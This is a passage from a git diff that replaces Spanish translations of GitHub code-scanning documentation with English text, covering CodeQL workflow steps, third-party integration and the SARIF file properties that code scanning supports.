`steps` section of the `Analyze` job in initial versions of the {% data variables.product.prodname_codeql %} workflow. ```yaml with: @@ -247,7 +266,7 @@ Puedes arreglar esto si eliminas las siguientes líneas del flujo de trabajo de if: {% raw %}${{ github.event_name == 'pull_request' }}{% endraw %} ``` -La sección revisada de `steps` en el flujo de trabajo se deberá ver así: +The revised `steps` section of the workflow will look like this: ```yaml steps: @@ -261,4 +280,4 @@ La sección revisada de `steps` en el flujo de trabajo se deberá ver así: ... ``` -Para obtener más información sobre la edición del archivo de flujo de trabajo de {% data variables.product.prodname_codeql %}, consulta la sección "[Configurar {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)". +For more information about editing the {% data variables.product.prodname_codeql %} workflow file, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow)." diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md index d2eed065b0..0a120a5059 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/about-integration-with-code-scanning.md @@ -1,7 +1,7 @@ --- -title: Acerca de la integración con el escaneo de código -shortTitle: Acerca de la integración -intro: 'Puedes llevar a cabo un {% data variables.product.prodname_code_scanning %} externamente y luego mostrar los resultados en {% data variables.product.prodname_dotcom %}, o configurar webhooks que escuchen a la actividad de {% data variables.product.prodname_code_scanning %} en tu repositorio.' +title: About integration with code scanning +shortTitle: About integration +intro: 'You can perform {% data variables.product.prodname_code_scanning %} externally and then display the results in {% data variables.product.prodname_dotcom %}, or set up webhooks that listen to {% data variables.product.prodname_code_scanning %} activity in your repository.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-integration-with-code-scanning @@ -19,22 +19,21 @@ topics: - Webhooks - Integration --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -Como alternativa a ejecutar un {% data variables.product.prodname_code_scanning %} dentro de {% data variables.product.prodname_dotcom %}, puedes realizar el análisis en cualquier otra parte y luego cargar los resultados. Las alertas para {% data variables.product.prodname_code_scanning %} que puedes ejecutar externamente se muestran de la misma forma que aquellas para el {% data variables.product.prodname_code_scanning %} que ejecutas con {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_code_scanning %} para tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)". +As an alternative to running {% data variables.product.prodname_code_scanning %} within {% data variables.product.prodname_dotcom %}, you can perform analysis elsewhere and then upload the results. Alerts for {% data variables.product.prodname_code_scanning %} that you run externally are displayed in the same way as those for {% data variables.product.prodname_code_scanning %} that you run within {% data variables.product.prodname_dotcom %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -Si utilizas una herramienta de análisis estático de terceros que pueda producir resultados como datos del Formato de Intercambio de Resultados para Análisis Estático (SARIF) 2.1.0, puedes cargarlos a {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Cargar un archivo SARIF a GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)". +If you use a third-party static analysis tool that can produce results as Static Analysis Results Interchange Format (SARIF) 2.1.0 data, you can upload this to {% data variables.product.prodname_dotcom %}. For more information, see "[Uploading a SARIF file to GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github)." -## Integraciones con webhooks +## Integrations with webhooks -Puedes utilizar los webhooks del {% data variables.product.prodname_code_scanning %} para crear o configurar integraciones, tales como [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) o [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/) que se suscriban a los eventos del {% data variables.product.prodname_code_scanning %} en tu repositorio. Por ejemplo, puedes crear una integración que cree una propuesta en {% data variables.product.product_name %} o que te envíe una notificación de Slack cuando se agregue una alerta de {% data variables.product.prodname_code_scanning %} en tu repositorio. Para obtener más información, consulta las secciones "[Crear webhooks](/developers/webhooks-and-events/creating-webhooks)" y "[Eventos de webhook y cargas útiles](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)". +You can use {% data variables.product.prodname_code_scanning %} webhooks to build or set up integrations, such as [{% data variables.product.prodname_github_apps %}](/apps/building-github-apps/) or [{% data variables.product.prodname_oauth_apps %}](/apps/building-oauth-apps/), that subscribe to {% data variables.product.prodname_code_scanning %} events in your repository. For example, you could build an integration that creates an issue on {% data variables.product.product_name %} or sends you a Slack notification when a new {% data variables.product.prodname_code_scanning %} alert is added in your repository. For more information, see "[Creating webhooks](/developers/webhooks-and-events/creating-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert)." -## Leer más +## Further reading -* "[Acerca del {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" -* "[Utilizar el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_codeql %} con tu sistema de IC existente](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" -* "[Soporte de SARIF para {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" +* "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)" +* "[Using {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} with your existing CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system)" +* "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)" diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md index 524a7e0763..8a4cf7e9c0 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/index.md @@ -1,7 +1,7 @@ --- -title: Integrarse con el escaneo de código -shortTitle: Integrar con el escaneo de código -intro: 'Puedes integrar las herramientas de análisis de código de terceros con el {% data variables.product.prodname_code_scanning %} de {% data variables.product.prodname_dotcom %} su cargas datos como archivos SARIF.' +title: Integrating with code scanning +shortTitle: Integrate with code scanning +intro: 'You can integrate third-party code analysis tools with {% data variables.product.prodname_dotcom %} {% data variables.product.prodname_code_scanning %} by uploading data as SARIF files.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-results-from-code-scanning @@ -21,5 +21,4 @@ children: - /uploading-a-sarif-file-to-github - /sarif-support-for-code-scanning --- - diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md index dccc771cdf..dd455f1b35 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -1,7 +1,7 @@ --- -title: Soporte de SARIF para escaneo de código -shortTitle: Soporte de SARIF -intro: 'Para mostrar los resultados de una herramienta de análisis estático de terceros en tu repositorio en {% data variables.product.prodname_dotcom %}, necesitas que éstos se almacenen en un archivo SARIF que sea compatible con un subconjunto del modelo de JSON para SARIF 2.1.0 para el {% data variables.product.prodname_code_scanning %}. Si utilizas el motor de análisis estático predeterminado de {% data variables.product.prodname_codeql %}, tus resultados se mostrarán automáticamente en tu repositorio de {% data variables.product.prodname_dotcom %}.' +title: SARIF support for code scanning +shortTitle: SARIF support +intro: 'To display results from a third-party static analysis tool in your repository on {% data variables.product.prodname_dotcom %}, you''ll need your results stored in a SARIF file that supports a specific subset of the SARIF 2.1.0 JSON schema for {% data variables.product.prodname_code_scanning %}. If you use the default {% data variables.product.prodname_codeql %} static analysis engine, then your results will display in your repository on {% data variables.product.prodname_dotcom %} automatically.' product: '{% data reusables.gated-features.code-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -21,173 +21,172 @@ topics: - Integration - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## Acerca del soporte de SARIF +## About SARIF support -SARIF (Formato de Intercambio de Resultados de Análisis Estático, por sus siglas en inglés) es un [Estándar de OASIS](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) que define un formato de archivo de salida. El estándar SARIF se utiliza para optimizar la manera en el que las herramientas de análisis estático comparten sus resultados. {% data variables.product.prodname_code_scanning_capc %} es compatible con un subconjunto del modelo SARIF 2.1.0 JSON. +SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html) that defines an output file format. The SARIF standard is used to streamline how static analysis tools share their results. {% data variables.product.prodname_code_scanning_capc %} supports a subset of the SARIF 2.1.0 JSON schema. -Para cargar un archivo SARIF desde un motor de análisis estático de código desde un tercero, necesitaras asegurarte de que los archivos cargados utilicen la versión SARIF 2.1.0. {% data variables.product.prodname_dotcom %} analizará el archivo SARIF y mostrará las alertas utilizando los resultados en tu repositorio como parte de la experiencia del {% data variables.product.prodname_code_scanning %}. Para obtener más información, consulta la sección "[Cargar un archivo SARIF a {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)". Para obtener más información acerca del modelo SARIF 2.1.0, consulta [`sari-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). +To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). -Si tu archivo SARIF no incluye `partialFingerprints`, este campo se calculará cuando cargues el archivo SARIF utilizando {% data variables.product.prodname_actions %}. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_code_scanning %} para un repositorio](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" o "[Ejecutar el {% data variables.product.prodname_codeql_runner %} en tu sistema de IC](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)". +If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)" or "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -Si estás utilizando el {% data variables.product.prodname_codeql_cli %}, entonces puedes especificar la versión de SARIF a utilizar. Para obtener más información, consulta la sección "[Configurar el {% data variables.product.prodname_codeql_cli %} en tu sistema de IC](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)".{% endif %} +If you're using the {% data variables.product.prodname_codeql_cli %}, then you can specify the version of SARIF to use. For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system#analyzing-a-codeql-database)."{% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -Puedes cargar varios archivos SARIF para la misma herramienta y confirmación y analizar cada uno utilizando el {% data variables.product.prodname_code_scanning %}. Puedes indicar una "categoría" para cada análisis si especificas una `runAutomationDetails.id` en cada archivo. Solo los archivos SARIF con la misma categoría podrán sobreescribirse entre ellos. Para obtener más información sobre esta propiedad, consulta el [objeto `runAutomationDetails`](#runautomationdetails-object) a continuación. +You can upload multiple SARIF files for the same tool and commit, and analyze each file using {% data variables.product.prodname_code_scanning %}. You can indicate a "category" for each analysis by specifying a `runAutomationDetails.id` in each file. Only SARIF files with the same category will overwrite each other. For more information about this property, see [`runAutomationDetails` object](#runautomationdetails-object) below. {% endif %} -{% data variables.product.prodname_dotcom %} utiliza propiedades en el archivo SARIF para mostrar alertas. Por ejemplo, la `shortDescription` y `fullDescription` aparecen hasta arriba de una alerta de {% data variables.product.prodname_code_scanning %}. La `location` permite a {% data variables.product.prodname_dotcom %} mostrar anotaciones en tu archivo de código. Para obtener más información, consulta la sección "[Administrar las alertas de {% data variables.product.prodname_code_scanning %} para tu repositorio](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)". +{% data variables.product.prodname_dotcom %} uses properties in the SARIF file to display alerts. For example, the `shortDescription` and `fullDescription` appear at the top of a {% data variables.product.prodname_code_scanning %} alert. The `location` allows {% data variables.product.prodname_dotcom %} to show annotations in your code file. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -Si SARIF es nuevo para ti y quieres aprender más, consulta el repositorio [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) de Microsoft. +If you're new to SARIF and want to learn more, see Microsoft's [`SARIF tutorials`](https://github.com/microsoft/sarif-tutorials) repository. -## Prevenir alertas duplicadas utilizando huellas dactilares +## Preventing duplicate alerts using fingerprints -Cada vez que el flujo de trabajo de {{ site.data.variables.product.prodname_actions }} ejecuta un nuevo escaneo de código, los resultados de cada ejecución se procesan y se agregan alertas al repositorio. Para prevenir las alertas duplicadas para el mismo problema, {% data variables.product.prodname_code_scanning %} utiliza huellas dactilares para empatara los resultados a través de diversas ejecuciones para que solo aparezcan una vez en la última ejecución para la rama seleccionada. Esto hace posible empatar las alertas con la línea de código correcta cuando se editan los archivos. +Each time the results of a new code scan are uploaded, the results are processed and alerts are added to the repository. To prevent duplicate alerts for the same problem, {% data variables.product.prodname_code_scanning %} uses fingerprints to match results across various runs so they only appear once in the latest run for the selected branch. This makes it possible to match alerts to the right line of code when files are edited. -{% data variables.product.prodname_dotcom %} utiliza la propiedad `partialFingerprints` en el estándar OASIS para detectar cuando dos resultados son lógicamente idénticos. Para obtener más información, consulta la sección "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" en la documentación de OASIS. +{% data variables.product.prodname_dotcom %} uses the `partialFingerprints` property in the OASIS standard to detect when two results are logically identical. For more information, see the "[partialFingerprints property](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012611)" entry in the OASIS documentation. -Los archivos SARIF que crea el {% data variables.product.prodname_codeql_workflow %} o los que utilizan el {% data variables.product.prodname_codeql_runner %} incluyen datos de huellas digitales. Si cargas un archivo SARIF utilizando la acción `upload-sarif` y no se encuentran estos datos, {% data variables.product.prodname_dotcom %} intentará poblar el campo `partialFingerprints` desde los archivos de origen. Para obtener más información acerca de cargar los resultados, consulta la sección "[Cargar un archivo SARIF a {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)". +SARIF files created by the {% data variables.product.prodname_codeql_workflow %} or using the {% data variables.product.prodname_codeql_runner %} include fingerprint data. If you upload a SARIF file using the `upload-sarif` action and this data is missing, {% data variables.product.prodname_dotcom %} attempts to populate the `partialFingerprints` field from the source files. For more information about uploading results, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github#uploading-a-code-scanning-analysis-with-github-actions)." -Si cargaste un archivo SARIF sin datos de huella digital utilizando la terminal de la API de `/code-scanning/sarifs`, se procesarán y se mostrarán las alertas del {% data variables.product.prodname_code_scanning %}, pero los usuarios podrían ver alertas duplicadas. Para evitar el ver alertas duplicadas, debes calcular los datos de la huella digital y llenar la propiedad de `partialFingerprints` antes de que cargues el archivo SARIF. Puede que el script que utiliza la acción `upload-sarif` te sea útil como punto de inicio: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. Para obtener más información sobre la API, consulta la sección "[Cargar un análisis como datos de SARIF](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)". +If you upload a SARIF file without fingerprint data using the `/code-scanning/sarifs` API endpoint, the {% data variables.product.prodname_code_scanning %} alerts will be processed and displayed, but users may see duplicate alerts. To avoid seeing duplicate alerts, you should calculate fingerprint data and populate the `partialFingerprints` property before you upload the SARIF file. You may find the script that the `upload-sarif` action uses a helpful starting point: https://github.com/github/codeql-action/blob/main/src/fingerprints.ts. For more information about the API, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)." -## Validar tu archivo SARIF +## Validating your SARIF file -Puedes verificar si un archivo SARIF es compatible con el {% data variables.product.prodname_code_scanning %} si lo pruebas contra las reglas de ingestión de {% data variables.product.prodname_dotcom %}. Para obtener más información, visita el [Validador de archivos SARIF de Microsoft](https://sarifweb.azurewebsites.net/). +You can check a SARIF file is compatible with {% data variables.product.prodname_code_scanning %} by testing it against the {% data variables.product.prodname_dotcom %} ingestion rules. For more information, visit the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/). {% data reusables.code-scanning.upload-sarif-alert-limit %} -## Propiedades compatibles de archivo de salida SARIF +## Supported SARIF output file properties -Si utilizas un motor de análisis de código diferente a {% data variables.product.prodname_codeql %}, puedes revisar las propiedades SARIF compatibles para optimizar cómo aparecerán los resultados de tu análisis en {% data variables.product.prodname_dotcom %}. +If you use a code analysis engine other than {% data variables.product.prodname_codeql %}, you can review the supported SARIF properties to optimize how your analysis results will appear on {% data variables.product.prodname_dotcom %}. -Puedes cargar cualquier archivo de salida SARIF 2.1.0 válido, sin embargo, {% data variables.product.prodname_code_scanning %} utilizará únicamente las siguientes propiedades compatibles. +Any valid SARIF 2.1.0 output file can be uploaded, however, {% data variables.product.prodname_code_scanning %} will only use the following supported properties. -### Objeto `sarifLog` +### `sarifLog` object -| Nombre | Descripción | -| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `$schema` | **Requerido.** la URI del modelo SARIF JSON para la versión 2.1.0. Por ejemplo, `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`. | -| `version` | **Requerido.**{% data variables.product.prodname_code_scanning_capc %} solo es compatible con la versión `2.1.0` de SARIF. | -| `runs[]` | **Requerido.** Un archivo SARIF contiene un arreglo de una o más ejecuciones. Cada ejecución representa una sola ejecución de una herramienta de análisis. Para obtener más información acerca de una `run`, consulta el [ objeto `run`](#run-object). | +| Name | Description | +|----|----| +| `$schema` | **Required.** The URI of the SARIF JSON schema for version 2.1.0. For example, `https://raw.githubusercontent.com/oasis-tcs/sarif-spec/master/Schemata/sarif-schema-2.1.0.json`. | +| `version` | **Required.** {% data variables.product.prodname_code_scanning_capc %} only supports SARIF version `2.1.0`. +| `runs[]` | **Required.** A SARIF file contains an array of one or more runs. Each run represents a single run of an analysis tool. For more information about a `run`, see the [`run` object](#run-object). -### Objeto `run` +### `run` object -{% data variables.product.prodname_code_scanning_capc %} utiliza el objeto `run` para filtrar los resultados por herramienta y proporcionar información acerca del origen de un resultado. El objeto `run` contienen el objeto componente de herramienta `tool.driver`, el cual contiene información acerca de la herramienta que generó el resultado. Cada `run` puede tener únicamente resultados para la herramienta de análisis. +{% data variables.product.prodname_code_scanning_capc %} uses the `run` object to filter results by tool and provide information about the source of a result. The `run` object contains the `tool.driver` tool component object, which contains information about the tool that generated the results. Each `run` can only have results for one analysis tool. -| Nombre | Descripción | -| ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `tool.driver.name` | **Requerido.** El nombre de la herramienta de análisis. {% data variables.product.prodname_code_scanning_capc %} muestra el nombre en {% data variables.product.prodname_dotcom %} para permitirte filtrar los resultados por herramienta. | -| `tool.driver.version` | **Opcional.** La versión de la herramienta de análisis. {% data variables.product.prodname_code_scanning_capc %} utiliza el número de versión para rastrear cuando los resultados pudieran haber cambiado debido al cambio de versión en la herramienta en vez de debido a un cambio del código que se analiza. Si el archivo SARIF incluye el campo `semanticVersion`, {% data variables.product.prodname_code_scanning %} no utilizará `version`. | -| `tool.driver.semanticVersion` | **Opcional.** La versión de la herramienta de análisis, especificada por el formato de Semantic Versioning 2.0. {% data variables.product.prodname_code_scanning_capc %} utiliza el número de versión para rastrear cuando los resultados pudieran haber cambiado debido al cambio de versión en la herramienta en vez de debido a un cambio del código que se analiza. Si el archivo SARIF incluye el campo `semanticVersion`, {% data variables.product.prodname_code_scanning %} no utilizará `version`. Para obtener más información, consulta la sección "[Semantic Versioning 2.0.0](https://semver.org/)" en la documentación de Semantic Versioning. | -| `tool.driver.rules[]` | **Requerido.** Un arreglo de objetos `reportingDescriptor` que representen reglas. La herramienta de análisis utiliza reglas para encontrar problemas en el código que se analiza. Para obtener más información, consulta el [objeto `reportingDescriptor`](#reportingdescriptor-object). | -| `results[]` | **Requerido.** Los resultados de la herramienta de análisis. {% data variables.product.prodname_code_scanning_capc %} muestra los resultados en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta el [objeto `result`](#result-object). | +| Name | Description | +|----|----| +| `tool.driver.name` | **Required.** The name of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the name on {% data variables.product.prodname_dotcom %} to allow you to filter results by tool. | +| `tool.driver.version` | **Optional.** The version of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. | +| `tool.driver.semanticVersion` | **Optional.** The version of the analysis tool, specified by the Semantic Versioning 2.0 format. {% data variables.product.prodname_code_scanning_capc %} uses the version number to track when results may have changed due to a tool version change rather than a change in the code being analyzed. If the SARIF file includes the `semanticVersion` field, `version` is not used by {% data variables.product.prodname_code_scanning %}. For more information, see "[Semantic Versioning 2.0.0](https://semver.org/)" in the Semantic Versioning documentation. | +| `tool.driver.rules[]` | **Required.** An array of `reportingDescriptor` objects that represent rules. The analysis tool uses rules to find problems in the code being analyzed. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). | +| `results[]` | **Required.** The results of the analysis tool. {% data variables.product.prodname_code_scanning_capc %} displays the results on {% data variables.product.prodname_dotcom %}. For more information, see the [`result` object](#result-object). -### Objeto `reportingDescriptor` +### `reportingDescriptor` object -| Nombre | Descripción | -| ------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | **Requerido.** Un identificador único para la regla. El `id` se referencia de otras partes del archivo SARIF y {% data variables.product.prodname_code_scanning %} puede utilizarlo para mostrar las URL en {% data variables.product.prodname_dotcom %}. | -| `name (nombre)` | **Opcional.** El nombre de la regla. {% data variables.product.prodname_code_scanning_capc %} muestra el nombre para permitir que se filtren los resultados por regla en {% data variables.product.prodname_dotcom %}. | -| `shortDescription.text` | **Requerido** Una descripción breve de la acción. {% data variables.product.prodname_code_scanning_capc %} muestra la descripción corta en {% data variables.product.prodname_dotcom %} junto a los resultados asociados. | -| `fullDescription.text` | **Requerido** Una descripción de la regla. {% data variables.product.prodname_code_scanning_capc %} muestra la descripción completa en {% data variables.product.prodname_dotcom %} junto a los resultados asociados. La cantidad máxma de caracteres se limita a 1000. | -| `defaultConfiguration.level` | **Opcional.** Nivel de severidad predeterminado de la regla. {% data variables.product.prodname_code_scanning_capc %} utiliza niveles de severidad para ayudarte a entender qué tan crítico es el resultado de una regla. El atributo `level` en el objeto `result` anular este valor. Para obtener más información, consulta el [objeto `result`](#result-object). Predeterminado: `warning`. | -| `help.text` | **Requerido.** Documentación para la regla utilizando el formato de texto. {% data variables.product.prodname_code_scanning_capc %} Muestra esta documentación de ayuda junto a los resultados asociados. | -| `help.markdown` | **Recomendado.** Documentación para la regla utilizando el formato Markdown. {% data variables.product.prodname_code_scanning_capc %} Muestra esta documentación de ayuda junto a los resultados asociados. Cuando `help.markdown` está disponible, se muestra en vez de `help.text`. | -| `properties.tags[]` | **Opcional.** Un arreglo de secuencias. {% data variables.product.prodname_code_scanning_capc %} utiliza `tags` para permitirte filtrar los resultados en {% data variables.product.prodname_dotcom %}. Por ejemplo, puedes filtrar todos los resultados que tengan la etiqueta `security`. | -| `properties.precision` | **Recomendado.** una secuencia que indica qué tan frecuentemente son verdaderos los resultados que indica esta regla. Por ejemplo, si una regla tiene una tasa alta de falsos positivos, la precisión debería ser `low`. {% data variables.product.prodname_code_scanning_capc %} ordena los resultados de acuerdo con su precisión en {% data variables.product.prodname_dotcom %} para que aquellos con el `level` y la `precision` más altos se muestren primero. Puede ser uno de entre: `very-high`, `high`, `medium`, o `low`. |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| `properties.problem.severity` | **Recomendado.** Una secuencia que indica el nivel de gravedad de cualquier alerta generada por una consulta que no sea de seguridad. Esto, con la propiedad de `properties.precision`, determina si los resultados se muestran predeterminadamente en {% data variables.product.prodname_dotcom %} para que los resultados con la `problem.severity` y la `precision` más altas se muestren primero. Puede ser uno de entre: `error`, `warning`, o `recommendation`. | -| `properties.security-severity` | **Recomendado.** Una puntuación que indica el nivel de gravedad, entre 0.0 y 10.0, para las consultas de seguridad (`@tags` incluye a `security`). Esto, con la propiedad de `properties.precision`, determina si los resultados se muestran predeterminadamente en {% data variables.product.prodname_dotcom %} para que los resultados con la `security-severity` y la `precision` más altas se muestren primero. {% data variables.product.prodname_code_scanning_capc %} traduce las puntuaciones numéricas de la siguiente forma: más de 9.0 es `critical`, de 7.0 a 8.9 es `high`, de 4.0 a 6.9 es `medium` y 3.9 o menos es `low`. {% endif %} +| Name | Description | +|----|----| +| `id` | **Required.** A unique identifier for the rule. The `id` is referenced from other parts of the SARIF file and may be used by {% data variables.product.prodname_code_scanning %} to display URLs on {% data variables.product.prodname_dotcom %}. | +| `name` | **Optional.** The name of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the name to allow results to be filtered by rule on {% data variables.product.prodname_dotcom %}. | +| `shortDescription.text` | **Required.** A concise description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the short description on {% data variables.product.prodname_dotcom %} next to the associated results. +| `fullDescription.text` | **Required.** A description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the full description on {% data variables.product.prodname_dotcom %} next to the associated results. The max number of characters is limited to 1000. +| `defaultConfiguration.level` | **Optional.** Default severity level of the rule. {% data variables.product.prodname_code_scanning_capc %} uses severity levels to help you understand how critical the result is for a given rule. This value can be overridden by the `level` attribute in the `result` object. For more information, see the [`result` object](#result-object). Default: `warning`. +| `help.text` | **Required.** Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. +| `help.markdown` | **Recommended.** Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. +| `properties.tags[]` | **Optional.** An array of strings. {% data variables.product.prodname_code_scanning_capc %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. +| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. +| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} ### `result` object {% data reusables.code-scanning.upload-sarif-alert-limit %} -| Nombre | Descripción | -| --------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `ruleId` | **Opcional.** El identificador único de la regla 